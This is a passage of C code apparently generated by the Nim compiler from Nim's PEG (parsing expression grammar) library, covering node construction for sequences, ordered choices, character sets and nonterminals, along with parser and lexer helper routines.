xX60gensym12_ = (&a[i]);
{
if (!((*xX60gensym12_).kind == ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 15))) goto LA6_;
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* yX60gensym12_;
tySequence__5DSB9bTgCQCsIApS5TVlG8g* colontmp_;
NI i_2;
NI L;
NI T9_;
yX60gensym12_ = (tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ*)0;
colontmp_ = (tySequence__5DSB9bTgCQCsIApS5TVlG8g*)0;
colontmp_ = (*xX60gensym12_).sons;
i_2 = ((NI) 0);
T9_ = (colontmp_ ? colontmp_->Sup.len : 0);
L = T9_;
{
while (1) {
if (!(i_2 < L)) goto LA11;
yX60gensym12_ = (&colontmp_->data[i_2]);
addSequence__bek7Fed15RyBUuSg6zITEw(Result, (*yX60gensym12_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
i_2 += ((NI) 1);
} LA11: ;
}
}
}
goto LA4_;
LA6_: ;
{
addSequence__bek7Fed15RyBUuSg6zITEw(Result, (*xX60gensym12_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA4_: ;
i += ((NI) 1);
} LA3: ;
}
}
{
NI T15_;
T15_ = (NI)0;
T15_ = len__Z9cTp9cma0fGKM9ax7bg0k8ewpegs((*Result));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!(T15_ == ((NI) 1))) goto LA16_;
nimCopyMem((void*)Result, (NIM_CONST void*)(&(*Result).sons->data[((NI) 0)]), sizeof((*Result)));
}
LA16_: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, token__yNO39bt9aZu9aox0jITQ9cJ8aw)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ terminal, tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
{
if (!((*p).skip.kind == ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0))) goto LA3_;
nimCopyMem((void*)Result, (NIM_CONST void*)(&terminal), sizeof((*Result)));
}
goto LA1_;
LA3_: ;
{
tyArray__rS9bk8uu9axETY9bOxp2l1GHQ T6_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T7_;
nimZeroMem((void*)T6_, sizeof(tyArray__rS9bk8uu9axETY9bOxp2l1GHQ));
nimCopyMem((void*)(&T6_[0]), (NIM_CONST void*)(&(*p).skip), sizeof(T6_[0]));
nimCopyMem((void*)(&T6_[1]), (NIM_CONST void*)(&terminal), sizeof(T6_[1]));
nimZeroMem((void*)(&T7_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegssequence(T6_, 2, (&T7_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T7_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA1_: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, npegstermIgnoreCase)(NimStringDesc* t, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10);
(*Result).term = copyString(t);
}
N_LIB_PRIVATE N_NIMCALL(void, npegstermIgnoreStyle)(NimStringDesc* t, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11);
(*Result).term = copyString(t);
}
N_LIB_PRIVATE N_NIMCALL(void, modifiedTerm__PRjoiBA234MDaFoq6R9cMUw)(NimStringDesc* s, tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA m, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
switch (m) {
case ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 0):
case ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 1):
{
npegstermStr(s, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 2):
{
npegstermIgnoreCase(s, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 3):
{
npegstermIgnoreStyle(s, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
}
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(NIM_BOOL, arrowIsNextTok__r1Fu3ClqdJ5GNevZsmi3CA)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c) {
NIM_BOOL result;
NI pos;
NIM_BOOL T9_;
{ result = (NIM_BOOL)0;
pos = (*c).bufpos;
{
while (1) {
NIM_BOOL T3_;
T3_ = (NIM_BOOL)0;
T3_ = (pos < ((*c).buf ? (*c).buf->Sup.len : 0));
if (!(T3_)) goto LA4_;
T3_ = (((NU8)((*c).buf->data[pos])) == ((NU8)(9)) || ((NU8)((*c).buf->data[pos])) == ((NU8)(32)));
LA4_: ;
if (!T3_) goto LA2;
pos += ((NI) 1);
} LA2: ;
}
{
if (!(((*c).buf ? (*c).buf->Sup.len : 0) <= (NI)(pos + ((NI) 1)))) goto LA7_;
goto BeforeRet_;
}
LA7_: ;
T9_ = (NIM_BOOL)0;
T9_ = ((NU8)((*c).buf->data[pos]) == (NU8)(60));
if (!(T9_)) goto LA10_;
T9_ = ((NU8)((*c).buf->data[(NI)(pos + ((NI) 1))]) == (NU8)(45));
LA10_: ;
result = T9_;
}BeforeRet_: ;
return result;
}
N_LIB_PRIVATE N_NIMCALL(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*, npegsnewNonTerminal)(NimStringDesc* name, NI line, NI column) {
tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* result;
tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* T1_;
result = (tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*)0;
T1_ = (tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*)0;
T1_ = (tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*) newObj((&NTI__ne9c8mGWiMWXBIOmu9cRFBTw_), sizeof(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA));
(*T1_).name = copyString(name);
(*T1_).line = line;
(*T1_).col = column;
result = T1_;
return result;
}
N_LIB_PRIVATE N_NIMCALL(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*, getNonTerminal__owz7gr9cNnue9b2MsAC72zMQ)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, NimStringDesc* name) {
tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* result;
NI T10_;
NI T11_;
NI T12_;
NI T13_;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
result = (tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*)0;
{
NI i;
NI colontmp_;
NI T2_;
NI res;
i = (NI)0;
colontmp_ = (NI)0;
T2_ = (((*p).nonterms ? (*p).nonterms->Sup.len : 0)-1);
colontmp_ = T2_;
res = ((NI) 0);
{
while (1) {
if (!(res <= colontmp_)) goto LA4;
i = res;
result = (*p).nonterms->data[i];
{
NI T7_;
T7_ = (NI)0;
T7_ = nsuCmpIgnoreStyle((*result).name, name);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!(T7_ == ((NI) 0))) goto LA8_;
goto BeforeRet_;
}
LA8_: ;
res += ((NI) 1);
} LA4: ;
}
}
T10_ = (NI)0;
T10_ = getLine__VLHJcdFBF4RkQrFxGrHR4gpegs((&(*p).Sup));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
T11_ = (NI)0;
T11_ = T10_;
T12_ = (NI)0;
T12_ = getColumn__VLHJcdFBF4RkQrFxGrHR4g_2pegs((&(*p).Sup));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
result = npegsnewNonTerminal(name, T11_, T12_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
(*p).nonterms = (tySequence__wbtGjaWHe0od6j1oiCOVBQ*) incrSeqV3((TGenericSeq*)((*p).nonterms), (&NTI__wbtGjaWHe0od6j1oiCOVBQ_));
T13_ = (*p).nonterms->Sup.len++;
(*p).nonterms->data[T13_] = result;
}BeforeRet_: ;
return result;
}
N_LIB_PRIVATE N_NIMCALL(NI, spaceCost__wfSWZhj3xiJHwwKIV0BpPw)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ n) {
NI result;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
result = (NI)0;
switch (n.kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0):
{
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 1) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 20):
{
result = ((NI) 1);
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
{
result = ((NI) 6);
}
break;
default:
{
{
NI i;
NI colontmp_;
NI T6_;
NI res;
i = (NI)0;
colontmp_ = (NI)0;
T6_ = (NI)0;
T6_ = len__Z9cTp9cma0fGKM9ax7bg0k8ewpegs(n);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
colontmp_ = (NI)(T6_ - ((NI) 1));
res = ((NI) 0);
{
while (1) {
NI T9_;
if (!(res <= colontmp_)) goto LA8;
i = res;
T9_ = (NI)0;
T9_ = spaceCost__wfSWZhj3xiJHwwKIV0BpPw(n.sons->data[i]);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
result += T9_;
{
if (!(((NI) 5) <= result)) goto LA12_;
goto LA5;
}
LA12_: ;
res += ((NI) 1);
} LA8: ;
}
} LA5: ;
}
break;
}
}BeforeRet_: ;
return result;
}
N_LIB_PRIVATE N_NIMCALL(void, npegsnonterminal)(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* n, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
{
NIM_BOOL T3_;
NI T5_;
T3_ = (NIM_BOOL)0;
T3_ = (((*n).flags &(1U<<((NU)(((tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw) 0))&7U)))!=0);
if (!(T3_)) goto LA4_;
T5_ = (NI)0;
T5_ = spaceCost__wfSWZhj3xiJHwwKIV0BpPw((*n).rule);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
T3_ = (T5_ < ((NI) 5));
LA4_: ;
if (!T3_) goto LA6_;
nimCopyMem((void*)Result, (NIM_CONST void*)(&(*n).rule), sizeof((*Result)));
}
goto LA1_;
LA6_: ;
{
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14);
(*Result).nt = n;
}
LA1_: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, npegscharSet)(tySet_tyChar__nmiMWKVIe46vacnhAFrQvw s, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13);
(*Result).charChoice = (NU8*) newObj((&NTI__DWDl83X3sWmMXGYAzF5Aug_), sizeof(tySet_tyChar__nmiMWKVIe46vacnhAFrQvw));
nimCopyMem((void*)(*Result).charChoice, (NIM_CONST void*)s, 32);
}
N_LIB_PRIVATE N_NIMCALL(void, seqExpr__MaL2q9aiyWZXRK0fbgHwGWA_4)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
primary__MaL2q9aiyWZXRK0fbgHwGWA_2(p, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
while (1) {
switch ((*p).tok.kind) {
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 16):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 17):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 19):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 5):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 6):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 7):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 9):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 2):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 3):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 20):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 21):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 23):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 22):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 24):
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 11):
{
tyArray__rS9bk8uu9axETY9bOxp2l1GHQ T4_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T5_;
nimZeroMem((void*)T4_, sizeof(tyArray__rS9bk8uu9axETY9bOxp2l1GHQ));
nimCopyMem((void*)(&T4_[0]), (NIM_CONST void*)Result, sizeof(T4_[0]));
primary__MaL2q9aiyWZXRK0fbgHwGWA_2(p, (&T4_[1]));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T5_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegssequence(T4_, 2, (&T5_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T5_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 4):
{
{
NIM_BOOL T9_;
tyArray__rS9bk8uu9axETY9bOxp2l1GHQ T12_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T13_;
T9_ = (NIM_BOOL)0;
T9_ = arrowIsNextTok__r1Fu3ClqdJ5GNevZsmi3CA((&(*p).Sup));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!!(T9_)) goto LA10_;
nimZeroMem((void*)T12_, sizeof(tyArray__rS9bk8uu9axETY9bOxp2l1GHQ));
nimCopyMem((void*)(&T12_[0]), (NIM_CONST void*)Result, sizeof(T12_[0]));
primary__MaL2q9aiyWZXRK0fbgHwGWA_2(p, (&T12_[1]));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T13_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegssequence(T12_, 2, (&T13_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T13_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA7_;
LA10_: ;
{
goto LA1;
}
LA7_: ;
}
break;
default:
{
goto LA1;
}
break;
}
}
} LA1: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, addChoice__bek7Fed15RyBUuSg6zITEw_2)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* dest, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ elem) {
NI L;
NI T1_;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
T1_ = (NI)0;
T1_ = len__Z9cTp9cma0fGKM9ax7bg0k8ewpegs((*dest));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
L = (NI)(T1_ - ((NI) 1));
{
NIM_BOOL T4_;
T4_ = (NIM_BOOL)0;
T4_ = (((NI) 0) <= L);
if (!(T4_)) goto LA5_;
T4_ = ((*dest).sons->data[L].kind == ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13));
LA5_: ;
if (!T4_) goto LA6_;
switch (elem.kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
{
NI T9_;
tySet_tyChar__nmiMWKVIe46vacnhAFrQvw T10_;
T9_ = (NI)0;
for (T9_ = 0; T9_ < 32; T9_++)
T10_[T9_] = (*dest).sons->data[L].charChoice[T9_] | elem.charChoice[T9_];
npegscharSet(T10_, (&(*dest).sons->data[L]));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
{
NI T12_;
tySet_tyChar__nmiMWKVIe46vacnhAFrQvw T13_;
tySet_tyChar__nmiMWKVIe46vacnhAFrQvw T14_;
T12_ = (NI)0;
nimZeroMem(T13_, sizeof(tySet_tyChar__nmiMWKVIe46vacnhAFrQvw));
T13_[(NU)(((NU8)(elem.ch)))>>3] |=(1U<<((NU)(((NU8)(elem.ch)))&7U));
for (T12_ = 0; T12_ < 32; T12_++)
T14_[T12_] = (*dest).sons->data[L].charChoice[T12_] | T13_[T12_];
npegscharSet(T14_, (&(*dest).sons->data[L]));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
default:
{
add__Yxqc7pnofxe0aIWMJo4J9cwpegs(dest, elem);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
}
}
goto LA2_;
LA6_: ;
{
add__Yxqc7pnofxe0aIWMJo4J9cwpegs(dest, elem);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA2_: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, npegsOrderedChoice)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* a, NI aLen_0, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 16);
(*Result).sons = NIM_NIL;
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* xX60gensym10_;
NI i;
xX60gensym10_ = (tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ*)0;
i = ((NI) 0);
{
while (1) {
if (!(i < aLen_0)) goto LA3;
xX60gensym10_ = (&a[i]);
{
if (!((*xX60gensym10_).kind == ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 16))) goto LA6_;
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* yX60gensym10_;
tySequence__5DSB9bTgCQCsIApS5TVlG8g* colontmp_;
NI i_2;
NI L;
NI T9_;
yX60gensym10_ = (tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ*)0;
colontmp_ = (tySequence__5DSB9bTgCQCsIApS5TVlG8g*)0;
colontmp_ = (*xX60gensym10_).sons;
i_2 = ((NI) 0);
T9_ = (colontmp_ ? colontmp_->Sup.len : 0);
L = T9_;
{
while (1) {
if (!(i_2 < L)) goto LA11;
yX60gensym10_ = (&colontmp_->data[i_2]);
addChoice__bek7Fed15RyBUuSg6zITEw_2(Result, (*yX60gensym10_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
i_2 += ((NI) 1);
} LA11: ;
}
}
}
goto LA4_;
LA6_: ;
{
addChoice__bek7Fed15RyBUuSg6zITEw_2(Result, (*xX60gensym10_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA4_: ;
i += ((NI) 1);
} LA3: ;
}
}
{
NI T15_;
T15_ = (NI)0;
T15_ = len__Z9cTp9cma0fGKM9ax7bg0k8ewpegs((*Result));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!(T15_ == ((NI) 1))) goto LA16_;
nimCopyMem((void*)Result, (NIM_CONST void*)(&(*Result).sons->data[((NI) 0)]), sizeof((*Result)));
}
LA16_: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, parseExpr__MaL2q9aiyWZXRK0fbgHwGWA_3)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
seqExpr__MaL2q9aiyWZXRK0fbgHwGWA_4(p, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
while (1) {
tyArray__rS9bk8uu9axETY9bOxp2l1GHQ T3_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T4_;
if (!((*p).tok.kind == ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 13))) goto LA2;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)T3_, sizeof(tyArray__rS9bk8uu9axETY9bOxp2l1GHQ));
nimCopyMem((void*)(&T3_[0]), (NIM_CONST void*)Result, sizeof(T3_[0]));
seqExpr__MaL2q9aiyWZXRK0fbgHwGWA_4(p, (&T3_[1]));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T4_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegsOrderedChoice(T3_, 2, (&T4_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T4_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
} LA2: ;
}
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, eat__hjU4sv1ca6ZjKpV3nc6Zhg)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw kind) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
{
if (!((*p).tok.kind == kind)) goto LA3_;
